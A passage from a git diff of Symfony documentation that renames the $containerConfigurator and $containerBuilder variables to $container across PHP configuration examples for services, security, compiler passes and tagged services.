+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
                 ->setArguments([
                     // 1st argument is the limiter for IP
                     new Reference('limiter.ip_login'),
@@ -2589,8 +2589,8 @@ for these events.
 
             use App\EventListener\LogoutSubscriber;
 
-            return function(ContainerConfigurator $containerConfigurator) {
-                $services = $containerConfigurator->services();
+            return function(ContainerConfigurator $container) {
+                $services = $container->services();
 
                 $services->set(LogoutSubscriber::class)
                     ->tag('kernel.event_subscriber', [
diff --git a/security/access_control.rst b/security/access_control.rst
index 81aae70c602..b8a5f557286 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -91,8 +91,8 @@ Take the following ``access_control`` entries as an example:
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
-            $containerBuilder->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
+        return static function (ContainerBuilder $container, SecurityConfig $security) {
+            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
 
             $security->accessControl()
diff --git a/service_container.rst b/service_container.rst
index 47a421f1345..afd5ea44bd7 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -205,9 +205,9 @@ each time you ask for it.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $containerConfigurator) {
+            return function(ContainerConfigurator $container) {
                 // default configuration for services in *this* file
-                $services = $containerConfigurator->services()
+                $services = $container->services()
                     ->defaults()
                         ->autowire()      // Automatically injects dependencies in your services.
                         ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
@@ -500,7 +500,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // same as before
@@ -575,8 +575,8 @@ parameter and in PHP config use the ``service()`` function:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MessageGenerator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -682,7 +682,7 @@ But, you can control this and pass in a different logger:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ... same code as before
 
             // explicitly configure the service
@@ -783,8 +783,8 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         use Symfony\Component\DependencyInjection\Definition;
         use Symfony\Component\DependencyInjection\Reference;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $services = $container->services()
                 ->defaults()
                     // pass this value to any $adminEmail argument for any service
                     // that's defined in this file (including controller arguments)
@@ -918,7 +918,7 @@ setting:
 
         use App\Service\PublicService;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ... same as code before
 
             // explicitly configure the service
@@ -975,7 +975,7 @@ key. For example, the default Symfony configuration contains this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // makes classes in src/ available to be used as services
@@ -1157,7 +1157,7 @@ admin email. In this case, each needs to have a unique service id:
         use App\Service\MessageGenerator;
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // site_update_manager.superadmin is the service's id
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 44a8492a53d..e4f7604a846 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -55,8 +55,8 @@ You can also control the ``public`` option on a service-by-service basis:
 
         use App\Service\Foo;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class)
                 ->public();
@@ -127,8 +127,8 @@ services.
 
         use App\Mail\PhpMailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(PhpMailer::class)
                 ->private();
@@ -275,8 +275,8 @@ The following example shows how to inject an anonymous service into another serv
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class)
                 // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
@@ -327,8 +327,8 @@ Using an anonymous service as a factory looks like this:
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class)
                 ->factory([inline_service(AnonymousBar::class), 'constructFoo']);
@@ -373,8 +373,8 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         use App\Service\OldService;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(OldService::class)
                 ->deprecate(
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 60baa01b261..cd53bbeef35 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -104,8 +104,8 @@ both services:
     .. code-block:: php
 
         // config/services.php
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $services = $container->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
@@ -243,7 +243,7 @@ adding a service alias:
 
         use App\Util\Rot13Transformer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // the id is not a class, so it won't be used for autowiring
@@ -350,7 +350,7 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
         use App\Util\Rot13Transformer;
         use App\Util\TransformerInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(Rot13Transformer::class);
@@ -520,7 +520,7 @@ the injection::
         use App\Util\TransformerInterface;
         use App\Util\UppercaseTransformer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(Rot13Transformer::class)->autowire();
diff --git a/service_container/calls.rst b/service_container/calls.rst
index a76cedbca2c..a40ca68e29c 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -66,7 +66,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(MessageGenerator::class)
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 34eee2e67df..fda044a1195 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -22,9 +22,9 @@ Compiler passes are registered in the ``build()`` method of the application kern
 
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
-            $containerBuilder->addCompilerPass(new CustomPass());
+            $container->addCompilerPass(new CustomPass());
         }
     }
 
@@ -50,14 +50,14 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $containerBuilder): void
+        public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
-            $containerBuilder->getDefinition('app.some_private_service')->setPublic(true);
+            $container->getDefinition('app.some_private_service')->setPublic(true);
 
             // or processing tagged services:
-            foreach ($containerBuilder->findTaggedServiceIds('some_tag') as $id => $tags) {
+            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
                 // ...
             }
         }
@@ -79,11 +79,11 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $containerBuilder): void
+        public function build(ContainerBuilder $container): void
         {
-            parent::build($containerBuilder);
+            parent::build($container);
 
-            $containerBuilder->addCompilerPass(new CustomPass());
+            $container->addCompilerPass(new CustomPass());
         }
     }
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 055eb541ae8..1d289580815 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -169,8 +169,8 @@ all the classes are already loaded as services. All you need to do is specify th
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
@@ -239,8 +239,8 @@ Services can be configured via invokable configurators (replacing the
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 908ad68da5a..f1de823e47b 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -55,7 +55,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
         use App\Mail\MailerConfiguration;
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(MailerConfiguration::class);
@@ -110,8 +110,8 @@ via a ``container`` variable. Here's another example:
 
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class)
                 ->args([expr("container.hasParameter('some_param') ? parameter('some_param') : 'default_value'")]);
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 7c5c87dc004..a188bb2a046 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -74,8 +74,8 @@ create its object:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerStaticFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 // the first argument is the class and the second argument is the static method
@@ -156,8 +156,8 @@ You can omit the class on the factory declaration:
 
         use App\Email\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // Note that we are not using service()
             $services->set(NewsletterManager::class)
@@ -218,8 +218,8 @@ Configuration of the service container then looks like this:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // first, create a service for the factory
             $services->set(NewsletterManagerFactory::class);
@@ -297,8 +297,8 @@ method name:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->factory(service(InvokableNewsletterManagerFactory::class));
@@ -357,8 +357,8 @@ previous examples takes the ``templating`` service as an argument:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager'])
diff --git a/service_container/import.rst b/service_container/import.rst
index 2fed44e16a5..1e0fcfb2cee 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -116,12 +116,12 @@ a relative or absolute path to the imported file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->import('services/mailer.php');
+        return function(ContainerConfigurator $container) {
+            $container->import('services/mailer.php');
             // If you want to import a whole directory:
-            $containerConfigurator->import('services/');
+            $container->import('services/');
 
-            $services = $containerConfigurator->services()
+            $services = $container->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index d88e5139824..595ac79b185 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -71,8 +71,8 @@ service container configuration:
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -274,8 +274,8 @@ that accepts the dependency::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setMailer', [service('mailer')]);
@@ -356,8 +356,8 @@ Another possibility is setting public fields of the class directly::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.newsletter_manager', NewsletterManager::class)
                 ->property('mailer', service('mailer'));
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index bdac2a0bc46..bf45e100ef8 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -76,8 +76,8 @@ You can mark the service as ``lazy`` by manipulating its definition:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(AppExtension::class)->lazy();
         };
@@ -170,8 +170,8 @@ specific interfaces.
         use App\Twig\AppExtension;
         use Twig\Extension\ExtensionInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(AppExtension::class)
                 ->lazy()
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index 8317cd363df..86aa0c2eb22 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -38,8 +38,8 @@ if the service does not exist:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -95,8 +95,8 @@ call if the service exists and remove the method call if it does not:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setLogger', [service('logger')->ignoreOnInvalid()])
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 9cab17e2254..b3792dc5a6a 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -119,8 +119,8 @@ avoid duplicated service definitions:
         use App\Repository\DoctrinePostRepository;
         use App\Repository\DoctrineUserRepository;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
                 ->abstract()
@@ -229,8 +229,8 @@ the child class:
         use App\Repository\DoctrineUserRepository;
         // ...
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
                 // ...
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 03e142b3455..723aa26e8bf 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -77,8 +77,8 @@ argument of type ``service_closure``:
 
         use App\Service\MyService;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MyService::class)
                 ->args([service_closure('mailer')]);
@@ -104,7 +104,7 @@ a service closure by wrapping the service reference into an instance of
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $containerBuilder): void
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 1bf0bf86d1e..5d663fbc797 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -41,8 +41,8 @@ When overriding an existing definition, the original service is lost:
         use App\Mailer;
         use App\NewMailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class);
 
@@ -98,8 +98,8 @@ but keeps a reference of the old one as ``.inner``:
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class);
 
@@ -161,8 +161,8 @@ automatically changed to ``'.inner'``):
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class);
 
@@ -233,8 +233,8 @@ automatically changed to ``'.inner'``):
             use App\DecoratingMailer;
             use App\Mailer;
 
-            return function(ContainerConfigurator $containerConfigurator) {
-                $services = $containerConfigurator->services();
+            return function(ContainerConfigurator $container) {
+                $services = $container->services();
 
                 $services->set(Mailer::class);
 
@@ -295,8 +295,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(\Foo::class);
 
@@ -382,8 +382,8 @@ ordered services, each one decorating the next:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $container->services()
                 ->stack('decorated_foo_stack', [
                     inline_service(\Baz::class)->args([service('.inner')]),
                     inline_service(\Bar::class)->args([service('.inner')]),
@@ -465,8 +465,8 @@ advanced example of composition:
         use App\Decorated;
         use App\Decorator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $container->services()
                 ->set('some_decorator', Decorator::class)
 
                 ->stack('embedded_stack', [
@@ -583,8 +583,8 @@ Three different behaviors are available:
 
         use Symfony\Component\DependencyInjection\ContainerInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class);
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 86389a71144..1b152ac6d68 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -233,8 +233,8 @@ service type to a service.
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CommandBus::class)
                 ->tag('container.service_subscriber', ['key' => 'logger', 'id' => 'monolog.logger.event']);
@@ -325,8 +325,8 @@ or directly via PHP attributes:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
@@ -409,8 +409,8 @@ other services. To do so, create a new service definition using the
 
         use Symfony\Component\DependencyInjection\ServiceLocator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -471,8 +471,8 @@ Now you can inject the service locator in any other services:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CommandBus::class)
                 ->args([service('app.command_handler_locator')]);
@@ -490,7 +490,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $containerBuilder): void
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
@@ -499,9 +499,9 @@ will share identical locators among all the services referencing them::
             'logger' => new Reference('logger'),
         ];
 
-        $myService = $containerBuilder->findDefinition(MyService::class);
+        $myService = $container->findDefinition(MyService::class);
 
-        $myService->addArgument(ServiceLocatorTagPass::register($containerBuilder, $locateableServices));
+        $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));
     }
 
 Indexing the Collection of Services
@@ -579,8 +579,8 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler', ['key' => 'handler_one'])
@@ -686,8 +686,8 @@ attribute to the locator service defining the name of this custom method:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $container->services()
                 ->set(App\HandlerCollection::class)
                     ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
             ;
diff --git a/service_container/shared.rst b/service_container/shared.rst
index 003ad2914b7..435822fb25c 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -33,8 +33,8 @@ in your service definition:
 
         use App\SomeNonSharedService;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(SomeNonSharedService::class)
                 ->share(false);
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 4dfec92709f..fc26c6848d3 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -63,8 +63,8 @@ configuration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // synthetic services don't specify a class
             $services->set('app.synthetic_service')
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8777639cd60..bcb30e7da3e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -37,8 +37,8 @@ example:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(AppExtension::class)
                 ->tag('twig.extension');
@@ -103,8 +103,8 @@ If you want to apply tags automatically for your own services, use the
 
         use App\Security\CustomInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // this config only applies to the services created by this file
             $services
@@ -147,9 +147,9 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
-            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
+            $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -163,9 +163,9 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $containerBuilder): void
+        public function load(array $configs, ContainerBuilder $container): void
         {
-            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
+            $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -202,11 +202,11 @@ method::
     {
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
             // ...
 
-            $containerBuilder->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (ChildDefinition $definition, SensitiveElement $attribute, \ReflectionClass $reflector): void {
+            $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (ChildDefinition $definition, SensitiveElement $attribute, \ReflectionClass $reflector): void {
                 // Apply the 'app.sensitive_element' tag to all classes with SensitiveElement
                 // attribute, and attach the token value to the tag
                 $definition->addTag('app.sensitive_element', ['token' => $attribute->getToken()]);
@@ -284,8 +284,8 @@ Then, define the chain as a service:
 
         use App\Mail\TransportChain;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(TransportChain::class);
         };
@@ -338,8 +338,8 @@ For example, you may add the following transports as services:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -374,17 +374,17 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder): void
+        public function process(ContainerBuilder $container): void
         {
             // always first check if the primary service is defined
-            if (!$containerBuilder->has(TransportChain::class)) {
+            if (!$container->has(TransportChain::class)) {
                 return;
             }
 
-            $definition = $containerBuilder->findDefinition(TransportChain::class);
+            $definition = $container->findDefinition(TransportChain::class);
 
             // find all service IDs with the app.mail_transport tag
-            $taggedServices = $containerBuilder->findTaggedServiceIds('app.mail_transport');
+            $taggedServices = $container->findTaggedServiceIds('app.mail_transport');
 
             foreach ($taggedServices as $id => $tags) {
                 // add the transport service to the TransportChain service
@@ -411,9 +411,9 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
-            $containerBuilder->addCompilerPass(new MailTransportPass());
+            $container->addCompilerPass(new MailTransportPass());
         }
     }
 
@@ -501,8 +501,8 @@ To answer this, change the service declaration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
@@ -545,7 +545,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder): void
+        public function process(ContainerBuilder $container): void
         {
             // ...
 
@@ -655,8 +655,8 @@ directly via PHP attributes:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler')
@@ -720,8 +720,8 @@ the number, the earlier the tagged service will be located in the collection:
 
         use App\Handler\One;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['priority' => 20])
@@ -796,8 +796,8 @@ you can define it in the configuration of the collecting service:
 
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             // ...
 
@@ -884,8 +884,8 @@ indexed by the ``key`` attribute:
         use App\Handler\Two;
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(One::class)
                 ->tag('app.handler', ['key' => 'handler_one']);
@@ -998,8 +998,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
             use App\HandlerCollection;
             use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $containerConfigurator) {
-                $services = $containerConfigurator->services();
